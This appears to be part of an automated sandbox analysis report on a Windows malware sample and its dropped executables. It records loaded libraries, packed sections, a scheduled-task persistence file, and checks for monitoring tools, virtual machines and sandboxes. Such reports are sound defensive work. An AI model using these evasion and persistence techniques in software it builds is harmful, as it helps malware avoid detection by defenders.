Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: ZBbOXn0a3R.exe

Static file information: File size 1889792 > 1048576

Source: ZBbOXn0a3R.exe

Static PE information: Raw size of vpilhgjf is bigger than: 0x100000 < 0x1a3600

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Unpacked PE file: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack :EW;.rsrc:W;.idata :W;hsfspruu:EW;ilcadzlg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;hsfspruu:EW;ilcadzlg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Unpacked PE file: 6.2.QA4B92LG0Q3PL6TE6NK36C44P92RH.exe.1000000.0.unpack :EW;.rsrc:W;.idata :W;bwzzahtg:EW;rhjmaeag:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;bwzzahtg:EW;rhjmaeag:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 7.2.skotes.exe.750000.0.unpack :EW;.rsrc:W;.idata :W;bwzzahtg:EW;rhjmaeag:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;bwzzahtg:EW;rhjmaeag:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 8.2.skotes.exe.750000.0.unpack :EW;.rsrc:W;.idata :W;bwzzahtg:EW;rhjmaeag:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;bwzzahtg:EW;rhjmaeag:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 9.2.skotes.exe.750000.0.unpack :EW;.rsrc:W;.idata :W;bwzzahtg:EW;rhjmaeag:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;bwzzahtg:EW;rhjmaeag:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: ZBbOXn0a3R.exe	Static PE information: real checksum: 0x1d28ea should be: 0x1d47f4
Source: VJV6IQUTCE3IBMH3UJROT.exe.1.dr	Static PE information: real checksum: 0x4f2893 should be: 0x4f5a27
Source: QA4B92LG0Q3PL6TE6NK36C44P92RH.exe.1.dr	Static PE information: real checksum: 0x31ccd3 should be: 0x323787
Source: skotes.exe.6.dr	Static PE information: real checksum: 0x31ccd3 should be: 0x323787

Source: ZBbOXn0a3R.exe	Static PE information: section name:
Source: ZBbOXn0a3R.exe	Static PE information: section name: .idata
Source: ZBbOXn0a3R.exe	Static PE information: section name:
Source: ZBbOXn0a3R.exe	Static PE information: section name: vpilhgjf
Source: ZBbOXn0a3R.exe	Static PE information: section name: omvzvpmk
Source: ZBbOXn0a3R.exe	Static PE information: section name: .taggant
Source: VJV6IQUTCE3IBMH3UJROT.exe.1.dr	Static PE information: section name:
Source: VJV6IQUTCE3IBMH3UJROT.exe.1.dr	Static PE information: section name: .idata
Source: VJV6IQUTCE3IBMH3UJROT.exe.1.dr	Static PE information: section name: hsfspruu
Source: VJV6IQUTCE3IBMH3UJROT.exe.1.dr	Static PE information: section name: ilcadzlg
Source: VJV6IQUTCE3IBMH3UJROT.exe.1.dr	Static PE information: section name: .taggant
Source: QA4B92LG0Q3PL6TE6NK36C44P92RH.exe.1.dr	Static PE information: section name:
Source: QA4B92LG0Q3PL6TE6NK36C44P92RH.exe.1.dr	Static PE information: section name: .idata
Source: QA4B92LG0Q3PL6TE6NK36C44P92RH.exe.1.dr	Static PE information: section name: bwzzahtg
Source: QA4B92LG0Q3PL6TE6NK36C44P92RH.exe.1.dr	Static PE information: section name: rhjmaeag
Source: QA4B92LG0Q3PL6TE6NK36C44P92RH.exe.1.dr	Static PE information: section name: .taggant
Source: skotes.exe.6.dr	Static PE information: section name:
Source: skotes.exe.6.dr	Static PE information: section name: .idata
Source: skotes.exe.6.dr	Static PE information: section name: bwzzahtg
Source: skotes.exe.6.dr	Static PE information: section name: rhjmaeag
Source: skotes.exe.6.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E9FE73 push cs; iretd	1_3_00E9FE1A
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E9FE73 push cs; iretd	1_3_00E9FE1A
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E9DA55 push ebx; ret	1_3_00E9DA6A
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E9DA55 push ebx; ret	1_3_00E9DA6A
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E9F254 push esi; iretd	1_3_00E9F25A
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E9F254 push esi; iretd	1_3_00E9F25A
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E9A221 push 191F14B5h; mov dword ptr [esp], edx	1_3_00E9A3E2
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E9A221 push 191F14B5h; mov dword ptr [esp], edx	1_3_00E9A3E2
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E9F9EC push edi; retf	1_3_00E9FA3A
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E9F9EC push edi; retf	1_3_00E9FA3A
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E9B7F4 push esi; retf	1_3_00E9B7F7
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E9B7F4 push esi; retf	1_3_00E9B7F7
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E9A1CA push gs; retf	1_3_00E9A1CE
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E9A1CA push gs; retf	1_3_00E9A1CE
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E9A374 push 191F14B5h; mov dword ptr [esp], edx	1_3_00E9A3E2
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E9A374 push 191F14B5h; mov dword ptr [esp], edx	1_3_00E9A3E2
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E9A343 push 191F14B5h; mov dword ptr [esp], edx	1_3_00E9A3E2
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E9A343 push 191F14B5h; mov dword ptr [esp], edx	1_3_00E9A3E2
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E9A336 push 191F14B5h; mov dword ptr [esp], edx	1_3_00E9A3E2
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E9A336 push 191F14B5h; mov dword ptr [esp], edx	1_3_00E9A3E2
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00EA2700 push cs; iretd	1_3_00EA26A7
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00EA2700 push cs; iretd	1_3_00EA26A7
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E2B463 push cs; iretd	1_3_00E2B40A
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E2B463 push cs; iretd	1_3_00E2B40A
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E2CF43 pushad ; iretd	1_3_00E2CF65
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E2CF43 pushad ; iretd	1_3_00E2CF65
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E2C21A push ss; retf	1_3_00E2C21B
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E2C21A push ss; retf	1_3_00E2C21B
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E9F9EC push edi; retf	1_3_00E9FA3A
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E9F9EC push edi; retf	1_3_00E9FA3A
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Code function: 1_3_00E9B7F4 push esi; retf	1_3_00E9B7F7

Source: ZBbOXn0a3R.exe	Static PE information: section name: entropy: 7.983682384890857
Source: ZBbOXn0a3R.exe	Static PE information: section name: vpilhgjf entropy: 7.953920714760564
Source: QA4B92LG0Q3PL6TE6NK36C44P92RH.exe.1.dr	Static PE information: section name: entropy: 7.08781017739627
Source: skotes.exe.6.dr	Static PE information: section name: entropy: 7.08781017739627

Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File created: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Jump to dropped file
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File created: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_7-9712

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
